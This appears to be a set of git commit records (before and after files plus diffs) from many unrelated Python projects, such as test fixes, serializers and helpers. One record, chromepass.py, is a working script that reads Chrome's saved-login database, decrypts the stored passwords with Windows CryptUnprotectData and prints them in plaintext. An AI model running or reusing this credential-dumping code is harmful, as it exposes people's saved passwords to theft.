| Python | apache-2.0 | belatrix/BackendAllStars | ---
+++
@@ -1,9 +1,11 @@
from .models import Employee
+from categories.models import Category
from rest_framework.test import APITestCase
class EmployeeTestCase(APITestCase):
def setUp(self):
+ Category.objects.create(name='Coworker')
Employee.objects.create_superuser('user1', 'user1@email.com', 'user1password')
Employee.objects.create_superuser('user2', 'user2@email.com', 'user2password')
|
5ab1df0c4a130b4cd32b01805f5749d29795a393 | x256/test_x256.py | x256/test_x256.py | from twisted.trial import unittest
import x256
class Testx256(unittest.TestCase):
"""
Test class for x256 module.
"""
def setUp(self):
self.rgb = [220, 40, 150]
self.xcolor = 162
self.hex = 'DC2896'
self.aprox_hex = 'D7087'
self.aprox_rgb = [215, 0, 135]
def test_from_rgb(self):
color = x256.from_rgb(self.rgb)
self.assertEqual(self.xcolor, color)
color = x256.from_rgb(self.rgb[0], self.rgb[1], self.rgb[2])
self.assertEqual(self.xcolor, color)
def test_from_rgb(self):
color = x256.from_hex(self.hex)
self.assertEqual(self.xcolor, color)
def test_to_rgb(self):
color = x256.to_rgb(self.xcolor)
self.assertEqual(self.aprox_rgb, color)
def test_to_hex(self):
color = x256.to_hex(self.xcolor)
self.assertEqual(self.aprox_hex, color) | from twisted.trial import unittest
from x256 import x256
class Testx256(unittest.TestCase):
"""
Test class for x256 module.
"""
def setUp(self):
self.rgb = [220, 40, 150]
self.xcolor = 162
self.hex = 'DC2896'
self.aprox_hex = 'D7087'
self.aprox_rgb = [215, 0, 135]
def test_from_rgb(self):
color = x256.from_rgb(self.rgb)
self.assertEqual(self.xcolor, color)
color = x256.from_rgb(self.rgb[0], self.rgb[1], self.rgb[2])
self.assertEqual(self.xcolor, color)
def test_from_hex(self):
color = x256.from_hex(self.hex)
self.assertEqual(self.xcolor, color)
def test_to_rgb(self):
color = x256.to_rgb(self.xcolor)
self.assertEqual(self.aprox_rgb, color)
def test_to_hex(self):
color = x256.to_hex(self.xcolor)
self.assertEqual(self.aprox_hex, color)
| Fix some bugs in tests | Fix some bugs in tests
| Python | mit | magarcia/python-x256 | ---
+++
@@ -1,6 +1,6 @@
from twisted.trial import unittest
-import x256
+from x256 import x256
class Testx256(unittest.TestCase):
@@ -21,7 +21,7 @@
color = x256.from_rgb(self.rgb[0], self.rgb[1], self.rgb[2])
self.assertEqual(self.xcolor, color)
- def test_from_rgb(self):
+ def test_from_hex(self):
color = x256.from_hex(self.hex)
self.assertEqual(self.xcolor, color)
|
7049c7391fff858c21402c80cd49e6b729edebf7 | setuptools/tests/test_logging.py | setuptools/tests/test_logging.py | import logging
import pytest
setup_py = """\
from setuptools import setup
setup(
name="test_logging",
version="0.0"
)
"""
@pytest.mark.parametrize(
"flag, expected_level", [("--dry-run", "INFO"), ("--verbose", "DEBUG")]
)
def test_verbosity_level(tmp_path, monkeypatch, flag, expected_level):
"""Make sure the correct verbosity level is set (issue #3038)"""
import setuptools # noqa: Import setuptools to monkeypatch distutils
import distutils # <- load distutils after all the patches take place
logger = logging.Logger(__name__)
monkeypatch.setattr(logging, "root", logger)
unset_log_level = logger.getEffectiveLevel()
assert logging.getLevelName(unset_log_level) == "NOTSET"
setup_script = tmp_path / "setup.py"
setup_script.write_text(setup_py)
dist = distutils.core.run_setup(setup_script, stop_after="init")
dist.script_args = [flag, "sdist"]
dist.parse_command_line() # <- where the log level is set
log_level = logger.getEffectiveLevel()
log_level_name = logging.getLevelName(log_level)
assert log_level_name == expected_level
| import inspect
import logging
import os
import pytest
setup_py = """\
from setuptools import setup
setup(
name="test_logging",
version="0.0"
)
"""
@pytest.mark.parametrize(
"flag, expected_level", [("--dry-run", "INFO"), ("--verbose", "DEBUG")]
)
def test_verbosity_level(tmp_path, monkeypatch, flag, expected_level):
"""Make sure the correct verbosity level is set (issue #3038)"""
import setuptools # noqa: Import setuptools to monkeypatch distutils
import distutils # <- load distutils after all the patches take place
logger = logging.Logger(__name__)
monkeypatch.setattr(logging, "root", logger)
unset_log_level = logger.getEffectiveLevel()
assert logging.getLevelName(unset_log_level) == "NOTSET"
setup_script = tmp_path / "setup.py"
setup_script.write_text(setup_py)
dist = distutils.core.run_setup(setup_script, stop_after="init")
dist.script_args = [flag, "sdist"]
dist.parse_command_line() # <- where the log level is set
log_level = logger.getEffectiveLevel()
log_level_name = logging.getLevelName(log_level)
assert log_level_name == expected_level
def test_patching_does_not_cause_problems():
# Ensure `dist.log` is only patched if necessary
import setuptools.logging
from distutils import dist # <- load distutils after all the patches take place
setuptools.logging.configure()
if os.getenv("SETUPTOOLS_USE_DISTUTILS", "local").lower() == "local":
# Modern logging infra, no problematic patching.
assert isinstance(dist.log, logging.Logger)
else:
assert inspect.ismodule(dist.log)
| Add simple regression test for logging patches | Add simple regression test for logging patches
| Python | mit | pypa/setuptools,pypa/setuptools,pypa/setuptools | ---
+++
@@ -1,4 +1,6 @@
+import inspect
import logging
+import os
import pytest
@@ -34,3 +36,18 @@
log_level = logger.getEffectiveLevel()
log_level_name = logging.getLevelName(log_level)
assert log_level_name == expected_level
+
+
+def test_patching_does_not_cause_problems():
+ # Ensure `dist.log` is only patched if necessary
+
+ import setuptools.logging
+ from distutils import dist # <- load distutils after all the patches take place
+
+ setuptools.logging.configure()
+
+ if os.getenv("SETUPTOOLS_USE_DISTUTILS", "local").lower() == "local":
+ # Modern logging infra, no problematic patching.
+ assert isinstance(dist.log, logging.Logger)
+ else:
+ assert inspect.ismodule(dist.log) |
34463dc84b4a277a962335a8f350267d18444401 | ovp_projects/serializers/apply.py | ovp_projects/serializers/apply.py | from ovp_projects import models
from ovp_projects.models.apply import apply_status_choices
from ovp_users.serializers import UserPublicRetrieveSerializer, UserApplyRetrieveSerializer
from rest_framework import serializers
class ApplyCreateSerializer(serializers.ModelSerializer):
email = serializers.EmailField(required=False)
class Meta:
model = models.Apply
fields = ['username', 'email', 'phone', 'project', 'user']
class ApplyUpdateSerializer(serializers.ModelSerializer):
status = serializers.ChoiceField(choices=apply_status_choices)
class Meta:
model = models.Apply
fields = ['status']
class ApplyRetrieveSerializer(serializers.ModelSerializer):
user = UserApplyRetrieveSerializer()
status = serializers.SerializerMethodField()
class Meta:
model = models.Apply
fields = ['id', 'email', 'date', 'canceled', 'canceled_date', 'status', 'user']
def get_status(self, object):
return object.get_status_display()
class ProjectAppliesSerializer(serializers.ModelSerializer):
user = UserPublicRetrieveSerializer()
class Meta:
model = models.Apply
fields = ['date', 'user']
| from ovp_projects import models
from ovp_projects.models.apply import apply_status_choices
from ovp_users.serializers import UserPublicRetrieveSerializer, UserApplyRetrieveSerializer
from rest_framework import serializers
class ApplyCreateSerializer(serializers.ModelSerializer):
email = serializers.EmailField(required=False)
class Meta:
model = models.Apply
fields = ['username', 'email', 'phone', 'project', 'user']
class ApplyUpdateSerializer(serializers.ModelSerializer):
status = serializers.ChoiceField(choices=apply_status_choices)
class Meta:
model = models.Apply
fields = ['status']
class ApplyRetrieveSerializer(serializers.ModelSerializer):
user = UserApplyRetrieveSerializer()
status = serializers.SerializerMethodField()
class Meta:
model = models.Apply
fields = ['id', 'email', 'username', 'phone', 'date', 'canceled', 'canceled_date', 'status', 'user']
def get_status(self, object):
return object.get_status_display()
class ProjectAppliesSerializer(serializers.ModelSerializer):
user = UserPublicRetrieveSerializer()
class Meta:
model = models.Apply
fields = ['date', 'user']
| Add username, email and phone on Apply serializer | Add username, email and phone on Apply serializer
| Python | agpl-3.0 | OpenVolunteeringPlatform/django-ovp-projects,OpenVolunteeringPlatform/django-ovp-projects | ---
+++
@@ -25,7 +25,7 @@
class Meta:
model = models.Apply
- fields = ['id', 'email', 'date', 'canceled', 'canceled_date', 'status', 'user']
+ fields = ['id', 'email', 'username', 'phone', 'date', 'canceled', 'canceled_date', 'status', 'user']
def get_status(self, object):
return object.get_status_display() |
333c5131f8e85bb5b545e18f3642b3c94148708d | tweet_s3_images.py | tweet_s3_images.py | import exifread
import os
class TweetS3Images(object):
def __init__(self, twitter, s3_client):
self._twitter = twitter
self._s3_client = s3_client
self._file = None
def send_image(self, bucket, image_name, cleanup=False):
temp_file = './{}'.format(image_name)
self._s3_client.download_file(bucket, image_name, temp_file)
self._file = open(temp_file, 'rb')
status = 'New image {}'.format(image_name)
tags = exifread.process_file(self._file)
self._twitter.update_with_media(filename=image_name, status=status, file=self._file)
if cleanup:
self.cleanup(temp_file)
def get_file(self):
return self._file
def cleanup(self, file):
os.remove(file)
| import exifread
import os
class TweetS3Images(object):
def __init__(self, twitter, s3_client):
self._twitter = twitter
self._s3_client = s3_client
self._file = None
def send_image(self, bucket, image_name, cleanup=False):
temp_file = '/tmp/{}'.format(image_name)
self._s3_client.download_file(bucket, image_name, temp_file)
self._file = open(temp_file, 'rb')
status = 'New image {} brought to you by lambda-tweet'.format(image_name)
tags = exifread.process_file(self._file)
self._twitter.update_with_media(filename=image_name, status=status, file=self._file)
if cleanup:
self.cleanup(temp_file)
def get_file(self):
return self._file
def cleanup(self, file):
os.remove(file)
| Change temp directory and update tweet message. | Change temp directory and update tweet message.
| Python | mit | onema/lambda-tweet | ---
+++
@@ -9,10 +9,10 @@
self._file = None
def send_image(self, bucket, image_name, cleanup=False):
- temp_file = './{}'.format(image_name)
+ temp_file = '/tmp/{}'.format(image_name)
self._s3_client.download_file(bucket, image_name, temp_file)
self._file = open(temp_file, 'rb')
- status = 'New image {}'.format(image_name)
+ status = 'New image {} brought to you by lambda-tweet'.format(image_name)
tags = exifread.process_file(self._file)
self._twitter.update_with_media(filename=image_name, status=status, file=self._file) |
a8de8ebdfb31fd6fee78cfcdd4ef921ed54bf6f1 | currencies/context_processors.py | currencies/context_processors.py | from currencies.models import Currency
def currencies(request):
currencies = Currency.objects.all()
if not request.session.get('currency'):
request.session['currency'] = Currency.objects.get(is_default__exact=True)
return {
'CURRENCIES': currencies,
'currency': request.session['currency'], # DEPRECATED
'CURRENCY': request.session['currency']
}
| from currencies.models import Currency
def currencies(request):
currencies = Currency.objects.all()
if not request.session.get('currency'):
request.session['currency'] = Currency.objects.get(is_default__exact=True)
return {
'CURRENCIES': currencies,
'CURRENCY': request.session['currency']
}
| Remove the deprecated 'currency' context | Remove the deprecated 'currency' context
| Python | bsd-3-clause | bashu/django-simple-currencies,pathakamit88/django-currencies,panosl/django-currencies,pathakamit88/django-currencies,mysociety/django-currencies,bashu/django-simple-currencies,ydaniv/django-currencies,racitup/django-currencies,marcosalcazar/django-currencies,panosl/django-currencies,jmp0xf/django-currencies,ydaniv/django-currencies,mysociety/django-currencies,racitup/django-currencies,marcosalcazar/django-currencies,barseghyanartur/django-currencies | ---
+++
@@ -9,6 +9,5 @@
return {
'CURRENCIES': currencies,
- 'currency': request.session['currency'], # DEPRECATED
'CURRENCY': request.session['currency']
} |
9b0dea78611dbaba468345d09613764cd81e6fd0 | ruuvitag_sensor/ruuvi.py | ruuvitag_sensor/ruuvi.py | import logging
import re
import sys
from ruuvitag_sensor.url_decoder import UrlDecoder
_LOGGER = logging.getLogger(__name__)
macRegex = '[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$'
ruuviStart = 'ruuvi_'
if sys.platform.startswith('win'):
from ruuvitag_sensor.ble_communication import BleCommunicationWin
ble = BleCommunicationWin()
else:
from ruuvitag_sensor.ble_communication import BleCommunicationNix
ble = BleCommunicationNix()
class RuuviTagSensor(object):
def __init__(self, mac, name):
if not re.match(macRegex, mac.lower()):
raise ValueError('{} is not valid mac address'.format(mac))
self._decoder = UrlDecoder()
self._mac = mac
self._state = {}
self._name = name
@property
def mac(self):
return self._mac
@property
def name(self):
return self._name
@property
def state(self):
return self._state
def update(self):
data = ble.get_data(self._mac)
self._state = self._decoder.get_data(data)
return self._state
@staticmethod
def find_ruuvitags():
return [(address, name) for address, name in ble.find_ble_devices()
if name.startswith(ruuviStart)]
| import logging
import re
import sys
import os
from ruuvitag_sensor.url_decoder import UrlDecoder
_LOGGER = logging.getLogger(__name__)
macRegex = '[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$'
ruuviStart = 'ruuvi_'
if sys.platform.startswith('win') or os.environ.get('CI') == 'True':
# Use BleCommunicationWin also for ci as can't use gattlib
from ruuvitag_sensor.ble_communication import BleCommunicationWin
ble = BleCommunicationWin()
else:
from ruuvitag_sensor.ble_communication import BleCommunicationNix
ble = BleCommunicationNix()
class RuuviTagSensor(object):
def __init__(self, mac, name):
if not re.match(macRegex, mac.lower()):
raise ValueError('{} is not valid mac address'.format(mac))
self._decoder = UrlDecoder()
self._mac = mac
self._state = {}
self._name = name
@property
def mac(self):
return self._mac
@property
def name(self):
return self._name
@property
def state(self):
return self._state
def update(self):
data = ble.get_data(self._mac)
self._state = self._decoder.get_data(data)
return self._state
@staticmethod
def find_ruuvitags():
return [(address, name) for address, name in ble.find_ble_devices()
if name.startswith(ruuviStart)]
| Use BleCommunicationWin on CI tests | Use BleCommunicationWin on CI tests
| Python | mit | ttu/ruuvitag-sensor,ttu/ruuvitag-sensor | ---
+++
@@ -1,6 +1,7 @@
import logging
import re
import sys
+import os
from ruuvitag_sensor.url_decoder import UrlDecoder
@@ -9,7 +10,8 @@
macRegex = '[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$'
ruuviStart = 'ruuvi_'
-if sys.platform.startswith('win'):
+if sys.platform.startswith('win') or os.environ.get('CI') == 'True':
+ # Use BleCommunicationWin also for ci as can't use gattlib
from ruuvitag_sensor.ble_communication import BleCommunicationWin
ble = BleCommunicationWin()
else: |
804471657da0b97c46ce2d3d66948a70ca401b65 | scholrroles/behaviour.py | scholrroles/behaviour.py | from collections import defaultdict
from .utils import get_value_from_accessor
class RoleBehaviour(object):
ids = []
object_accessors = {}
def __init__(self, user, request):
self.user = user
self.request = request
def has_role(self):
return False
def has_role_for(self, obj):
if self.has_role() and self.ids and obj:
if self.role in obj.role_accessors:
return get_value_from_accessor(obj, obj.role_accessors[self.role]) in self.ids
return True
def can_apply_permission(self, obj, perm):
method = 'has_{}_{}_permission'.format(self.role, perm.name)
print method, hasattr(obj, method), getattr(obj, method), callable(getattr(obj, method))
if hasattr(obj, method):
function = getattr(obj, method)
if callable(function):
return function(self.user)
return True
class UserBehaviour(RoleBehaviour):
role= 'user'
def has_role(self):
return True
def role_behaviour_factory():
return RoleBehaviour
class RoleBehaviourRegistry(object):
_registry = defaultdict(role_behaviour_factory)
def register(self, cls):
self._registry[cls.role] = cls
def get_role(self, role):
return self._registry[role]
registry = RoleBehaviourRegistry() | from collections import defaultdict
from .utils import get_value_from_accessor
class RoleBehaviour(object):
ids = []
object_accessors = {}
def __init__(self, user, request):
self.user = user
self.request = request
def has_role(self):
return False
def has_role_for(self, obj):
if self.has_role() and self.ids and obj:
if self.role in obj.role_accessors:
return get_value_from_accessor(obj, obj.role_accessors[self.role]) in self.ids
return True
def can_apply_permission(self, obj, perm):
method = 'has_{}_{}_permission'.format(self.role, perm.name)
if hasattr(obj, method):
function = getattr(obj, method)
if callable(function):
return function(self.user)
return True
class UserBehaviour(RoleBehaviour):
role= 'user'
def has_role(self):
return True
def role_behaviour_factory():
return RoleBehaviour
class RoleBehaviourRegistry(object):
_registry = defaultdict(role_behaviour_factory)
def register(self, cls):
self._registry[cls.role] = cls
def get_role(self, role):
return self._registry[role]
registry = RoleBehaviourRegistry() | Validate Model function to allow permission | Validate Model function to allow permission
| Python | bsd-3-clause | Scholr/scholr-roles | ---
+++
@@ -20,7 +20,6 @@
def can_apply_permission(self, obj, perm):
method = 'has_{}_{}_permission'.format(self.role, perm.name)
- print method, hasattr(obj, method), getattr(obj, method), callable(getattr(obj, method))
if hasattr(obj, method):
function = getattr(obj, method)
if callable(function): |
1b95ca396b79cab73849c86c6e8cb14f21eeb9a5 | src/txkube/_compat.py | src/txkube/_compat.py | # Copyright Least Authority Enterprises.
# See LICENSE for details.
"""
Helpers for Python 2/3 compatibility.
"""
from json import dumps
from twisted.python.compat import unicode
def dumps_bytes(obj):
"""
Serialize ``obj`` to JSON formatted ``bytes``.
"""
b = dumps(obj)
if isinstance(b, unicode):
b = b.encode("ascii")
return b
| # Copyright Least Authority Enterprises.
# See LICENSE for details.
"""
Helpers for Python 2/3 compatibility.
"""
from json import dumps
from twisted.python.compat import unicode
def dumps_bytes(obj):
"""
Serialize ``obj`` to JSON formatted ``bytes``.
"""
b = dumps(obj)
if isinstance(b, unicode):
b = b.encode("ascii")
return b
def native_string_to_bytes(s, encoding="ascii", errors="strict"):
"""
Ensure that the native string ``s`` is converted to ``bytes``.
"""
if not isinstance(s, str):
raise TypeError("{} must be type str, not {}".format(s, type(s)))
if str is bytes:
# Python 2
return s
else:
# Python 3
return s.encode(encoding=encoding, errors=errors)
def native_string_to_unicode(s, encoding="ascii", errors="strict"):
"""
Ensure that the native string ``s`` is converted to ``unicode``.
"""
if not isinstance(s, str):
raise TypeError("{} must be type str, not {}".format(s, type(s)))
if str is unicode:
# Python 3
return s
else:
# Python 2
return s.decode(encoding=encoding, errors=errors)
| Add helper methods: 1. for converting from native string to bytes 2. for converting from native string to unicode | Add helper methods:
1. for converting from native string to bytes
2. for converting from native string to unicode
| Python | mit | LeastAuthority/txkube | ---
+++
@@ -17,3 +17,33 @@
if isinstance(b, unicode):
b = b.encode("ascii")
return b
+
+
+
+def native_string_to_bytes(s, encoding="ascii", errors="strict"):
+ """
+ Ensure that the native string ``s`` is converted to ``bytes``.
+ """
+ if not isinstance(s, str):
+ raise TypeError("{} must be type str, not {}".format(s, type(s)))
+ if str is bytes:
+ # Python 2
+ return s
+ else:
+ # Python 3
+ return s.encode(encoding=encoding, errors=errors)
+
+
+
+def native_string_to_unicode(s, encoding="ascii", errors="strict"):
+ """
+ Ensure that the native string ``s`` is converted to ``unicode``.
+ """
+ if not isinstance(s, str):
+ raise TypeError("{} must be type str, not {}".format(s, type(s)))
+ if str is unicode:
+ # Python 3
+ return s
+ else:
+ # Python 2
+ return s.decode(encoding=encoding, errors=errors) |
342cbd0f3ed0c6c03ba6c12614f5b991773ff751 | stash_test_case.py | stash_test_case.py | import os
import shutil
import subprocess
import unittest
from stash import Stash
class StashTestCase(unittest.TestCase):
"""Base class for test cases that test stash functionality.
This base class makes sure that all unit tests are executed in a sandbox
environment.
"""
PATCHES_PATH = '.patches'
REPOSITORY_URI = '.repo'
@classmethod
def setUpClass(cls):
"""Makes sure that stash will look for patches in the patches path in
the test directory, and that the repository directory exists.
"""
if not os.path.exists(cls.REPOSITORY_URI):
os.mkdir(cls.REPOSITORY_URI)
if not os.path.exists(cls.PATCHES_PATH):
os.mkdir(cls.PATCHES_PATH)
Stash.PATCHES_PATH = cls.PATCHES_PATH
@classmethod
def tearDownClass(cls):
"""Cleans up the temporary patches path used for the unit tests."""
if os.path.exists(cls.PATCHES_PATH):
shutil.rmtree(cls.PATCHES_PATH)
# Clean up the temporary repository.
if os.path.exists(cls.REPOSITORY_URI):
shutil.rmtree(cls.REPOSITORY_URI)
| import os
import shutil
import unittest
from stash import Stash
class StashTestCase(unittest.TestCase):
"""Base class for test cases that test stash functionality.
This base class makes sure that all unit tests are executed in a sandbox
environment.
"""
PATCHES_PATH = os.path.join('test', '.patches')
REPOSITORY_URI = os.path.join('test', '.repo')
@classmethod
def setUpClass(cls):
"""Makes sure that stash will look for patches in the patches path in
the test directory, and that the repository directory exists.
"""
if not os.path.exists(cls.REPOSITORY_URI):
os.mkdir(cls.REPOSITORY_URI)
if not os.path.exists(cls.PATCHES_PATH):
os.mkdir(cls.PATCHES_PATH)
Stash.PATCHES_PATH = cls.PATCHES_PATH
@classmethod
def tearDownClass(cls):
"""Cleans up the temporary patches path used for the unit tests."""
if os.path.exists(cls.PATCHES_PATH):
shutil.rmtree(cls.PATCHES_PATH)
# Clean up the temporary repository.
if os.path.exists(cls.REPOSITORY_URI):
shutil.rmtree(cls.REPOSITORY_URI)
| Store temporary test directories in test path. | Store temporary test directories in test path.
| Python | bsd-3-clause | ton/stash,ton/stash | ---
+++
@@ -1,6 +1,5 @@
import os
import shutil
-import subprocess
import unittest
from stash import Stash
@@ -12,8 +11,8 @@
environment.
"""
- PATCHES_PATH = '.patches'
- REPOSITORY_URI = '.repo'
+ PATCHES_PATH = os.path.join('test', '.patches')
+ REPOSITORY_URI = os.path.join('test', '.repo')
@classmethod
def setUpClass(cls): |
5db36085a1690d96a0f1b675b2926190b94d6abf | roomcontrol.py | roomcontrol.py | from flask import Flask
from roomcontrol.music import music_service
from roomcontrol.light import light_service
from roomcontrol.alarm import alarm_service
app = Flask(__name__)
app.register_blueprint(music_service, url_prefix='/music')
app.register_blueprint(light_service, url_prefix='/light')
app.register_blueprint(alarm_service, url_prefix='/alarm')
@app.route('/login', methods=['POST'])
def login():
pass
@app.route('/settings', methods=['POST'])
def update_settings():
pass
if __name__ == "__main__":
app.run()
| from flask import Flask
from roomcontrol.music import music_service
from roomcontrol.light import light_service
from roomcontrol.alarm import alarm_service
app = Flask(__name__)
app.register_blueprint(music_service, url_prefix='/music')
app.register_blueprint(light_service, url_prefix='/light')
app.register_blueprint(alarm_service, url_prefix='/alarm')
@app.route('/login', methods=['POST'])
def login():
pass
@app.route('/settings', methods=['GET', 'POST'])
def update_settings():
pass
if __name__ == "__main__":
app.run()
| Add get method to settings | Add get method to settings
| Python | mit | miguelfrde/roomcontrol_backend | ---
+++
@@ -12,7 +12,7 @@
def login():
pass
-@app.route('/settings', methods=['POST'])
+@app.route('/settings', methods=['GET', 'POST'])
def update_settings():
pass
|
d28c968088934f2aace7722ead000e8be56813ec | alg_sum_list.py | alg_sum_list.py | from __future__ import absolute_import
from __future__ import print_function
from __future__ import division
def sum_list(num_ls):
"""Sum number list by recursion."""
if len(num_ls) == 1:
return num_ls[0]
else:
return num_ls[0] + sum_list(num_ls[1:])
def main():
num_ls = [0, 1, 2, 3, 4, 5]
print('Sum of {}: {}'.format(num_ls, sum_list(num_ls)))
if __name__ == '__main__':
main()
| from __future__ import absolute_import
from __future__ import print_function
from __future__ import division
def sum_list_for(num_ls):
"""Sum number list by for loop."""
_sum = 0
for num in num_ls:
_sum += num
return _sum
def sum_list_recur(num_ls):
"""Sum number list by recursion."""
if len(num_ls) == 1:
return num_ls[0]
else:
return num_ls[0] + sum_list_recur(num_ls[1:])
def main():
import time
num_ls = [0, 1, 2, 3, 4, 5]
start_time = time.time()
print('By for loop: {}'.format(sum_list_for(num_ls)))
print('Time: {}'.format(time.time() - start_time))
start_time = time.time()
print('By recursion: {}'.format(sum_list_recur(num_ls)))
print('Time: {}'.format(time.time() - start_time))
if __name__ == '__main__':
main()
| Complete benchmarking: for vs. recur | Complete benchmarking: for vs. recur
| Python | bsd-2-clause | bowen0701/algorithms_data_structures | ---
+++
@@ -3,18 +3,35 @@
from __future__ import division
-def sum_list(num_ls):
+def sum_list_for(num_ls):
+ """Sum number list by for loop."""
+ _sum = 0
+ for num in num_ls:
+ _sum += num
+ return _sum
+
+
+def sum_list_recur(num_ls):
"""Sum number list by recursion."""
if len(num_ls) == 1:
- return num_ls[0]
+ return num_ls[0]
else:
- return num_ls[0] + sum_list(num_ls[1:])
+ return num_ls[0] + sum_list_recur(num_ls[1:])
def main():
- num_ls = [0, 1, 2, 3, 4, 5]
- print('Sum of {}: {}'.format(num_ls, sum_list(num_ls)))
+ import time
+
+ num_ls = [0, 1, 2, 3, 4, 5]
+
+ start_time = time.time()
+ print('By for loop: {}'.format(sum_list_for(num_ls)))
+ print('Time: {}'.format(time.time() - start_time))
+
+ start_time = time.time()
+ print('By recursion: {}'.format(sum_list_recur(num_ls)))
+ print('Time: {}'.format(time.time() - start_time))
if __name__ == '__main__':
- main()
+ main() |
ec6c47796697ca26c12e2ca8269812442473dcd5 | pynuts/filters.py | pynuts/filters.py | """Jinja environment filters for Pynuts."""
from flask import escape
from flask.ext.wtf import QuerySelectField, QuerySelectMultipleField
def data(field):
"""Return data according to a specific field."""
if isinstance(field, QuerySelectMultipleField):
if field.data:
return escape(
u', '.join(field.get_label(data) for data in field.data))
elif isinstance(field, QuerySelectField):
if field.data:
return escape(field.get_label(field.data))
return escape(field.data)
| # -*- coding: utf-8 -*-
"""Jinja environment filters for Pynuts."""
from flask import escape
from flask.ext.wtf import (
QuerySelectField, QuerySelectMultipleField, BooleanField)
def data(field):
"""Return data according to a specific field."""
if isinstance(field, QuerySelectMultipleField):
if field.data:
return escape(
u', '.join(field.get_label(data) for data in field.data))
elif isinstance(field, QuerySelectField):
if field.data:
return escape(field.get_label(field.data))
elif isinstance(field, BooleanField):
return u'✓' if field.data else u'✕'
return escape(field.data)
| Add a read filter for boolean fields | Add a read filter for boolean fields
| Python | bsd-3-clause | Kozea/Pynuts,Kozea/Pynuts,Kozea/Pynuts | ---
+++
@@ -1,7 +1,10 @@
+# -*- coding: utf-8 -*-
+
"""Jinja environment filters for Pynuts."""
from flask import escape
-from flask.ext.wtf import QuerySelectField, QuerySelectMultipleField
+from flask.ext.wtf import (
+ QuerySelectField, QuerySelectMultipleField, BooleanField)
def data(field):
@@ -13,4 +16,6 @@
elif isinstance(field, QuerySelectField):
if field.data:
return escape(field.get_label(field.data))
+ elif isinstance(field, BooleanField):
+ return u'✓' if field.data else u'✕'
return escape(field.data) |
fee5cea7bf734599e374c6725fa01f3cebedd657 | chromepass.py | chromepass.py | from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = connection.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for information in cursor.fetchall():
#chrome encrypts the password with Windows WinCrypt.
#Fortunately Decrypting it is no big issue.
pass = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
if pass:
print 'website_link ' + information[0]
print 'Username: ' + information[1]
print 'Password: ' + password
| from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = connection.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for information in cursor.fetchall():
#chrome encrypts the password with Windows WinCrypt.
#Fortunately Decrypting it is no big issue.
password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
if password:
print 'website_link ' + information[0]
print 'Username: ' + information[1]
print 'Password: ' + password
| Change pass to password to avoid shadowing | Change pass to password to avoid shadowing
| Python | mit | hassaanaliw/chromepass | ---
+++
@@ -9,8 +9,8 @@
for information in cursor.fetchall():
#chrome encrypts the password with Windows WinCrypt.
#Fortunately Decrypting it is no big issue.
- pass = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
- if pass:
+ password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
+ if password:
print 'website_link ' + information[0]
print 'Username: ' + information[1]
print 'Password: ' + password |
91ee7fe40d345b71a39d4c07ecbdf23eb144f902 | pydarkstar/auction/auctionbase.py | pydarkstar/auction/auctionbase.py | """
.. moduleauthor:: Adam Gagorik <adam.gagorik@gmail.com>
"""
import pydarkstar.darkobject
import pydarkstar.database
class AuctionBase(pydarkstar.darkobject.DarkObject):
"""
Base class for Auction House objects.
:param db: database object
"""
def __init__(self, db, *args, **kwargs):
super(AuctionBase, self).__init__(*args, **kwargs)
assert isinstance(db, pydarkstar.database.Database)
self.db = db
if __name__ == '__main__':
pass | """
.. moduleauthor:: Adam Gagorik <adam.gagorik@gmail.com>
"""
import pydarkstar.darkobject
import pydarkstar.database
class AuctionBase(pydarkstar.darkobject.DarkObject):
"""
Base class for Auction House objects.
:param db: database object
"""
def __init__(self, db, rollback=True, fail=False, *args, **kwargs):
super(AuctionBase, self).__init__(*args, **kwargs)
assert isinstance(db, pydarkstar.database.Database)
self._rollback = bool(rollback)
self._fail = bool(fail)
self._db = db
@property
def db(self):
return self._db
@property
def rollback(self):
return self._rollback
@rollback.setter
def rollback(self, value):
self._rollback = bool(value)
@property
def fail(self):
return self._fail
@fail.setter
def fail(self, value):
self._fail = bool(value)
if __name__ == '__main__':
pass | Add AuctionBase fail and rollback properties. | Add AuctionBase fail and rollback properties.
| Python | mit | AdamGagorik/pydarkstar,LegionXI/pydarkstar | ---
+++
@@ -10,10 +10,30 @@
:param db: database object
"""
- def __init__(self, db, *args, **kwargs):
+ def __init__(self, db, rollback=True, fail=False, *args, **kwargs):
super(AuctionBase, self).__init__(*args, **kwargs)
assert isinstance(db, pydarkstar.database.Database)
- self.db = db
+ self._rollback = bool(rollback)
+ self._fail = bool(fail)
+ self._db = db
+
+ @property
+ def db(self):
+ return self._db
+
+ @property
+ def rollback(self):
+ return self._rollback
+ @rollback.setter
+ def rollback(self, value):
+ self._rollback = bool(value)
+
+ @property
+ def fail(self):
+ return self._fail
+ @fail.setter
+ def fail(self, value):
+ self._fail = bool(value)
if __name__ == '__main__':
pass |
855ace33e02f3ea40b6fe1c2a8de25daa38726e0 | gnocchi/service.py | gnocchi/service.py | # Copyright (c) 2013 Mirantis Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import logging
from oslo.config import cfg
from gnocchi.openstack.common import log
LOG = log.getLogger(__name__)
def prepare_service():
cfg.CONF()
log.setup('gnocchi')
cfg.CONF.log_opt_values(LOG, logging.DEBUG)
| # Copyright (c) 2013 Mirantis Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
